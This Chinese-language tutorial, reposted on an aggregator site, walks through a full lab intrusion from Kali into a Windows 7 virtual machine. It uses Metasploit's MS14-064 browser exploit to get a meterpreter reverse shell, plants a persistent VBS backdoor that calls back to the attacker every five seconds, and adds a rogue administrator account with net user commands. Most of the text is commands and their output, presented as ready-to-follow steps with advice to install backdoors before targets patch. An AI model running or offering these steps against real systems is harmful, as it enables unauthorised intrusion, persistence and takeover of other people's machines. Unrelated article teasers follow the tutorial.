网络安全实战植入后门程序

news2024/11/15 14:47:59

 在 VMware 上建立两个虚拟机:win7 和 kali。

Kali:它是 Linux 发行版的操作系统,它拥有超过 300 个渗透测试工具,就不用自己再去找安装包,去安装到我们自己的电脑上了,毕竟自己从网上找到,也不安全。它甚至还集成了 600 多种黑客工具,很强大。

可以永久免费使用,基本上学黑客攻击必会用到这个系统。

靶机:Win7 64位 (IP: 192.168.10.45)--用 ipconfig 进行查询。

攻击机:Kali (IP:192.168.10.21)--用 ifconfig 进行查询。

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析

1、实验环境前提条件

win7 中,关闭防火墙(“打开网络和共享中心”-“Windows 防火墙”-“打开或关闭 Windows 防火墙”-均选择关闭选项)。

保证两个虚拟机是可以 ping 通的(尤其是在 kali 中去 ping win7,看能否连通)。$ping 192.168.10.45

2、打开 Metasploit 渗透工具

Metasploit 是一款开源的安全漏洞检测工具,msfconsole 用于启动 msf 终端:

>msfconsole

复制代码

**结果:**成功进入,进入到"msf6>“的模式下

3、查看需要利用的漏洞

搜索漏洞,编号为 MS14-064。

MS14-064 为 Windows OLE 自动化阵列远程代码执行漏洞。当 IE 不作访问内存中的对象时,存在远程代码执行漏洞。OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,用户使用 IE 浏览器查看该网站时允许远程执行代码。

补充:Windows 系统漏洞微软的漏洞编号命名格式为:MS14-064;

MS Micosoft 的缩写,固定格式;14 表示年份,即 2014 年发布的漏洞;064 表示顺序,即当年度发布的第 64 个漏洞。

>search ms14-064

复制代码

**结果:**可以看到返回了多条可利用的漏洞模块信息

4、尝试利用其中一个漏洞模块进行攻击

利用其中一个漏洞攻击模块-0 模块,进行攻击,进入模块中(注意:必须是“_”,不是“-”,否则会报错)。

>use exploit/windows/browser/ms14_064_ole_code_execution

复制代码

**结果:**成功切换到这个模块之下--”msf6 exploit(windows/browser/ms14_064_ole_code_execution)>“

并提示“no payload configured,defaulting to windows/meterpreter/reverse_tcp”--没有配置 payload,默认为 windows/meterpreter/reverse_tcp

5、查看该漏洞模块所需的参数情况

进到这个漏洞模块之后,先查看该测试模块的参数情况。类似于你使用一软件,进行攻击,是不是需要先进行一些简单的参数配置啊,需要告诉软件,要向谁发起攻击吧,这是最最基本的,所以,要配置,就要先查看都可以配置哪些参数。

>show options

复制代码

**结果:**其中 required 显示的值为 yes 的,代表是必须要设置的项;显示的值为 no 的,代表是不必须要设置的项;

重点关注 6 个参数配置,需要设置哪个就设置哪个:

Payload (攻击载体-使用默认的 windows/meterpreter/reverse_tcp 即可) ;

SRVHOST (文件共享服务器-kali 地址);

SRVPORT (文件共享服务器的端口-使用默认获取的端口即可);

LHOST (发起攻击的地址-kali 地址);

LPORT (发起攻击的端口-使用默认获取的端口即可);

AllowPowershellPrompt (开启浏览器插件,默认为 false)

补充说明:

1)Payload 中包含有需要在远程系统中运行的恶意代码,Payload 是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。也就是说,漏洞利用模块可以访问目标系统,而其中的代码定义了 Payload 在目标系统中的行为。

2)Payload 模块主要有以下三种类型:-Single -Stager -Stage

Single 是一种完全独立的 Payload,实现的目的也简单,但容易被捕捉到。

Stager 这种 Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。 一种常见的 Stagers Payload 就是 reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接(3 次握手-4 次挥手)(是一个基于 TCP 的反向链接反弹 shell, 使用起来很稳定)。

Stage 是 Stager Payload 下载的一种 Payload 组件,这种 Payload 可以提供更加高级的功能,而且没有大小限制。

3)windows/x64/meterpreter/reverse_tcp 则由一个 Stager Payload(reverse_tcp)和一个 Stage Payload(meterpreter)组成。

注意:Payload 为 windows/meterpreter/reverse_tcp 默认获取到的控制通道 meterpreter 为 32 位,

如果想将之后获取到的控制通道 meterpreter 改为 64 位,则设置。payload:windows/x64/meterpreter/reverse_tcp

6、设置文件共享服务器

发现 SRVHOST 为空,待设置,其它(payload/SRVPORT/LHOST/LPORT)均已获取,且正确,设置 SRVHOST 的对应的参数地址,它指的是文件共享服务器的地址,想一想,要设成谁?为什么?

分析一下:是在哪里用到这个文件共享服务器?是不是会在生成一个网址,诱导用户点击了,就会直接连接到发起攻击的主机上。那你们觉得应该是谁生成这个连接呢?是用户那边么?还是攻击者这边?肯定是攻击者这边吧,我们是不知道会有谁点了这个网站链接吧。

所以,我们才会对这个文件共享服务器的地址设置为 kali 的地址

>set SRVHOST 192.168.10.21

复制代码

7、开启浏览器插件

要把 AllowPowershellPrompt 的默认参数 false 改为 true,因为 msf 中自带的漏洞是利用 exp 调用的是 powershell(powershell 是一种命令外壳程序和脚本环境),所以 msf 的 exp 代码只对安装了 powershell 的系统生效。

>set AllowPowershellPrompt true

复制代码

8、再次进行检查

查看对 SRVHOST 和 AllowPowershellPrompt 进行的修改,是否修改成功

>show options

复制代码

9、检查无误后,发起攻击

>run

复制代码

**结果:**生成一个网站的链接“Using URL : http://192.168.10.21:8080/xE6RxjSy,开启服务,光标停留在这,等待有人点击该网站链接。

10、打开网站链接

到 win7 中,在 IE 浏览器中打开网站链接: http://192.168.10.21:8080/xE6RxjSy,会提示是否允许打开一个文件,选择“允许”之后,即可触发会话连接。

**结果 1:**在 win7 中打开链接后,不会有任何的反馈结果。

**结果 2:**由于在 win7 中触发打开了网址链接,那么,在 kali 中,则会触发会话连接,结果显示了是 192.168.10.45(目标主机 win7)尝试点击了该网站链接,于是,kali 利用 MS14-064 漏洞模块对目标主机发起了攻击,最终,“meterpreter session 1 opened”--表明已经开通 192.168.10.21:4444 和 192.168.10.45:49191 会话连接 1。

一般会自动进入控制通道 meterpreter,交互模式,表明攻击成功。

注意:

一旦开通一个会话连接后,若系统没有自动进入控制通道,则可以尝试回车,进行手动连接。

1)手动查看当前存在的会话

注意在目录 msf>下,手动查看当前存在的会话。

**结果:**当前只有会话连接 1,meterpreter 建立的连接类型 type 是 x86--32 位的(由模块中的 payload 设定),以及展示目标主机 192.168.10.45 的基本信息和连接信息。

>sessions

复制代码

2)选择连接当前已经开通的会话 1

>sessions -i 1

复制代码

**结果:**成功进入控制通道 meterpreter,交互模式,表明攻击成功。

11、植入后门程序

在 kali 控制 win7 后,通过 persistence,在目标主机上生成一个后门程序,以便后续不再通过 MS14-064 漏洞进行二次入侵,而是通过这个后门文件来入侵该主机【注意在控制通道 meterpreter>下】。

注意:因为这个 MS14-064 漏洞很容易被修复,一旦目标主机进行定期修补漏洞,那么通过 MS14-064 漏洞进行入侵的路径,就会失效,但植入的后门程序是不容易被发现和修复的,所以一旦入侵成功后,建议尝试植入后门程序。

通过 persistence(支持多种方式启动)植入固定的后门程序,设置相关参数,设置回连地址和端口号。

>run persistence -S -U -X -i 5 -p 40000 -r 192.168.10.21

复制代码

重点关注 6 个参数配置:

-S:系统启动时自动加载本程序(因为该后门程序是不能被目标用户发现,更不需要让目标主机进行点

击启动的,所以需要该程序有自动加载的功能);

-U:用户登陆时自动加载本程序;

-X:开机时自动加载本程序;

-i: 自动加载后,回连的时间间隔,即后门每隔多少秒尝试连接回连地址;

-r: 自动加载后,回连的主机地址,回连到谁啊,自然是入侵的 kali 的地址;

-p:自动加载后,回连的端口号,即 kali 地址的端口号,理论上可随意设置,但范围不要超过 65535,且

不可设置为常见的特殊的端口号;

**结果 1:**在 kali 中提示,成功生成一个后门程序 yqLAOjt.vbs,自动加载后会回连到192.168.10.21:40000,并保存于目标主机 win7 中的C:\Users\18044\AppData\Local\Temp\目录下。

【**注意:**payload 自动设置为“windows/meterpreter/reverse_tcp”,LHOST 设置为192.168.10.21,LPORT设置为40000

**结果 2:**在 win7 中的 C:\Users\18044\AppData\Local\Temp\目录下,成功找到从攻击主机 kali 植入的后门程序 yqLAOjt.vbs

【补充知识点:

1)端口号范围:0~65535

2)常见端口号列举

12、挂起当前会话

在成功植入后门程序后,我们还需要对该后门程序进行验证,验证是否可以通过该后门程序成功入侵目标主机 win7,所以可先将当前通过 MS14-064 漏洞开启的会话连接挂起(background)或断开(exit),均可

meterpreter>background

复制代码

**结果:**成功将 session 会话 1 挂起到后台,并没有断开连接,且成功切换到 msf >目录下

13、开启监听模块

利用后门程序进行攻击,需要打开一个监听模块,能够反弹 shell 监听模块,进行攻击,进入模块中

>use exploit/multi/handler

复制代码

**结果:**成功切换到这个模块之下--”msf6 exploit(multi/handler)>“

并提示“Using configured payload generic/shell_reverse_tcp”--使用的payload为generic/shell_reverse_tcp

14、查看该监听模块所需的参数情况

进到这个监听模块之后,先查看该模块的参数情况。类似于你使用一软件,进行攻击,是不是需要先进行一些简单的参数配置啊,需要告诉软件,要向谁发起攻击吧,这是最最基本的,所以,要配置,就要先查看都可以配置哪些参数?

>show options

复制代码

**结果:**其中 required 显示的值为 yes 的,代表是必须要设置的项;显示的值为 no 的,代表是不必须要设置的项;

重点关注 3 个参数配置,需要设置哪个就设置哪个:

Payload:攻击载体;

LHOST:回连地址;

LPORT:回连端口号;

15、设置攻击载体、回连地址以及端口号

因为我们要开启的这个监听模块,是专门针对于 yqLAOjt.vbs 后门程序,进行实时监听,那么,必然需要将监听模块的参数配置,与 yqLAOjt.vbs 后门程序的参数配置保持一致,只有这样,才能达到准确的监听

之前制作 yqLAOjt.vbs 的参数为:

"run persistence -S -U -X -i 5 -p 40000 -r 192.168.10.21"

复制代码

因此,我们也就需要将监听模块的攻击载体 Payload,与后门程序的 payload 保持一致:

>set payload windows/meterpreter/reverse_tcp

复制代码

需要将监听模块的回连地址 LHOST,与后门程序的 LHOST 保持一致:

>set LHOST 192.168.10.21

复制代码

需要将监听模块的回连地址的端口号 LPORT,与后门程序的 LPORT 保持一致:

>set LPORT 40000

复制代码

16、再次进行检查

>show options

复制代码

17、检查无误后,发起攻击

>run

复制代码

**结果:**开启针对192.168.10.21:40000的监听模式,因为 yqLAOjt.vbs 后门程序已经设置了自动加载,所以一旦开启监听模块,立即会有反馈信息回连到192.168.10.21:40000上来。

最终,“meterpreter session 2 opened”--表明已经开通192.168.10.21:40000和192.168.10.45:49227的会话连接 2。

一般会自动进入控制通道 meterpreter,交互模式,表明攻击成功。

注意:

此时,将当前开启的会话进行挂起操作--background,再查看当前已存在的会话--sessions,结果会得到已开启两个会话连接信息,要对这两个会话连接进行区分,分清楚,第一个会话连接是通过 MS14-064 漏洞开启的,第二个会话连接是通过后门程序开启的

18、创建用户、设置密码

1)拿到 shell 权限,获得控制台权限,可以获取系统的控制台C:\Windows\system32

meterpreter>shell

复制代码

2)进入后,可能会有乱码的情况,解决乱码问题

C:\Windows\system32>chcp 65001

复制代码

3)显示 win7 系统中所有的用户

C:\Windows\system32>net user

复制代码

4)创建用户

创建用户,用户名为 test,密码为 test【net user 用户名 密码 /add】

C:\Windows\system32>net user test test /add

复制代码

也可以不设置密码,只创建用户名为 test1 的无密码用户【net user 用户名 /add】

C:\Windows\system32>net user test1 /add

复制代码

**结果 1:**在 kali 中,若结果显示“the commad completed successfully”—代表“命令执行成功” ,用户创建成功 ;

若结果显示“system error 5 has occurred;access is denied”—“发生系统错误 5; 拒绝访问”-----代表权限不够的问题,需要**进行提权,可以利用 bypassuac 或者 Windows 内核漏洞进行提权

**结果 2:**在 win7 中,”控制面板“---”添加或删除用户账户“,查看成功新建的用户 test(标准用户--密码保护)、test1(标准用户--无密码)

5)将新用户添加到 administrator 分组--提升到管理员权限【net localgroup administrators 用户名 /add】

C:\Windows\system32>net localgroup adminis trators test1 /add

复制代码

**结果 1:**在 kali 中,显示“the commad completed successfully”—代表“命令执行成功” ,成功添加到 administrator 分组,提升管理员权限成功 ;

**结果 2:**在 win7 中,”控制面板“---”添加或删除用户账户“,查看新建的用户 test1 用户由之前的”标准用户“提升至”管理员“,提升权限成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/642586.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

GitHub 上“千金难求”!啃完这两本书,Spring在你面前便没有秘密

前言 Spring对Java程序员的重要性相信懂的都懂,夸张点甚至可以说是Spring成就了Java。 为什么说要啃这两本书。前者告诉你怎么用Spring,后者给你简单展示如何用的同时,还告诉你Spring是怎么实现的两者一起,让你知其然并知其所以…

在字节打酱油6年,被淘汰?太真实了...

涛子哥普通本科计算机专业毕业,目前在字节,部门是视频云中台。现在比较稳定,生活也算美满,算是个资深的打酱油高手,在字节也有6、7年左右的划水经验了。 刚好划水的时候在某乎上看到了一个问题:“软件测试会…

2023年Q1天猫电脑品类数据分析(含笔记本、游戏本、平板电脑)

目前,PC市场中正经历新旧产品的换代,在各行业消费复苏的背景下,PC市场的整体市场需求也有回暖的可能。结合鲸参谋平台上第一季度的销售数据,我们一起来看一看电脑市场当前的销售表现如何! 笔记本电脑 尽管人们的消费需…

SPI FLASH Fatfs文件系统移植

一.FATFS文件系统简介 FATFS是面向小型嵌入式系统的FAT文件系统。他由C语言编写并且独立与底层I/O介质。支持的内核有:8051,PLC,ARV,ARM等。FATFS支持FAT12,FAT16,FAT32等文件系统格式。 官网链接 二.FATFS源码文件结构 diskio.c:包含底层存储介质的操…

linux搭建hadoop集群

linux搭建hadoop集群 1、创建4台虚拟机2、修改主机名3、配置网络4、配置hosts文件5、分配本地网络给虚拟机6、下载jdk,hadoop压缩包7、用xftp传输到虚拟机8、配置jdk9、配置hadoop10、创建脚本shell脚本,方便同步数据11、配置ssh免密登录12、同步jdk和ha…

希尔贝壳参与构建可信人工智能数据空间,助力大模型行业应用落地

2023年5月30日,由中国信息通信研究院、浙江省经济和信息化厅、杭州市人民政府、中国人工智能产业发展联盟主办的杭州通用人工智能发展论坛在未来科技城圆满落幕。本次会议以“大模型应用机遇和挑战”为主题,众多产学研代表现场参会,共同探讨人…

什么是可以文言文字翻译的呢?

大家有没有在日常生活中需要翻译自己不熟的外语呢?有没有觉得使用翻译软件的时候很轻松呢?你们知道文本翻译这个操作吗?它是一项很实用和创新的技术,可以将一种语言自动翻译转换为另一种语言,当然这些一般都是使用计算…

YOLOv5-7.0添加解耦头

Decoupled Head Decoupled Head是由YOLOX提出的用来替代YOLO Head,可以用来提升目标检测的精度。那么为什么解耦头可以提升检测效果呢? 在阅读YOLOX论文时,找到了两篇引用的论文,并加以阅读。 第一篇文献是Song等人在CVPR2020发表…

根据实体excel导入导出百万数据,可修改表头名称

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 表格导入导出实现效果展示根据实体类导出模板读取表格数据导出数据为excel进阶:修改表格导出的列头 controller示例工具类测试实体实体注解maven依赖 表…

基于SpringBoot+微信小程序的医院预约叫号小程序

✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取项目下载方式🍅 一、项目背景介绍: 该项目是基于uniappWe…

加密软件VMProtect教程:使用Windows、Net 、UNIX 秘钥生成器

VMProtect是新一代软件保护实用程序。VMProtect支持德尔菲、Borland C Builder、Visual C/C、Visual Basic(本机)、Virtual Pascal和XCode编译器。 同时,VMProtect有一个内置的反汇编程序,可以与Windows和Mac OS X可执行文件一起…

VMware虚拟机和主机传输文件

原文链接 虚拟机为Linux系统 使用vm-tools即可。 卸载旧工具: vmware-uninstall-tools.pl安装新工具: apt-get install open-vm-tools-desktop重启系统: reboot此时可以使用CtrlC、CtrlV的方式在主机和Linux虚拟机之间传输文件。 虚拟…

【网络原理】TCP协议如何实现可靠传输(确认应答机制)

🥊作者:一只爱打拳的程序猿,Java领域新星创作者,CSDN、阿里云社区优质创作者。 🤼专栏收录于:计算机网络原理 本篇主要讲解:TCP协议段格式,TCP的序列号,SYN、ACK标志位&a…

操作系统(王道)

1.1_1_操作系统概念 裸机(硬件只听得懂二进制指令)——>操作系统(属于软件,提供良好交互界面)——>应用软件——>用户使用 操作系统是指控制和管理整个计算机系统的硬件和软件资源,并合理地组织…

Python技术自学的方式

Python是一种高级编程语言,被广泛用于软件开发、数据分析、人工智能和科学计算等领域。它于1991年由Guido van Rossum创建,并且其简洁、易读的语法以及丰富的标准库使得它成为了初学者和专业开发人员的首选语言之一。 一、Python技术介绍 学习Python技术…

css响应式布局

这里写自定义目录标题 1.效果展示2.使用grid布局3.使用flex布局 1.效果展示 2.使用grid布局 <!DOCTYPE html> <html><head><meta name"viewport" content"widthdevice-width, initial-scale1.0, maximum-scale1.0, user-scalableno"…

ASEMI代理安森美MOS管FQL40N50参数,FQL40N50描述

编辑-Z FQL40N50参数描述&#xff1a; 型号&#xff1a;FQL40N50 漏源电压VDSS&#xff1a;500V 漏极电流ID&#xff1a;40A 漏极电流-脉冲IDM&#xff1a;160A 栅极-源极电压VGSS&#xff1a;30V 功耗PD&#xff1a;460W 操作和储存温度范围TJ, TSTG&#xff1a;-55 t…

Rust in Action笔记 第六章 内存

Option<T>类型在Rust中使用了空指针优化&#xff08;null pointer optimization&#xff09;来保证该类型在编译后的二进制文件中占用0个字节。None变量是通过一个空指针null pointer来表示&#xff1b;内存地址、指针、引用的区别&#xff0c;内存地址是指在内存中的一个…

SpringBatch从入门到实战(三):多步骤控制

一&#xff1a;if else案例 案例&#xff1a;如果开始步骤成功了就执行成功步骤&#xff0c;否则执行失败步骤。 // 伪代码 String exitStatus helloWorldJob(); if("FAILED".equals(exitStatus)){failStep(); }else{successStep(); }Configuration public class …

01 面向对象方法的概念

面向对象方法的概念 1、什么是面向对象? 面向对象不仅仅是一种程序开发方法 使用面向对象程序设计语言 使用对象、类、继承、封装、消息等基本概念进 行编程 面向对象是一种软件方法学 如何看待软件系统与现实世界的关系 以什么观点进行求解 如何进行系统构造 2、面向对象方…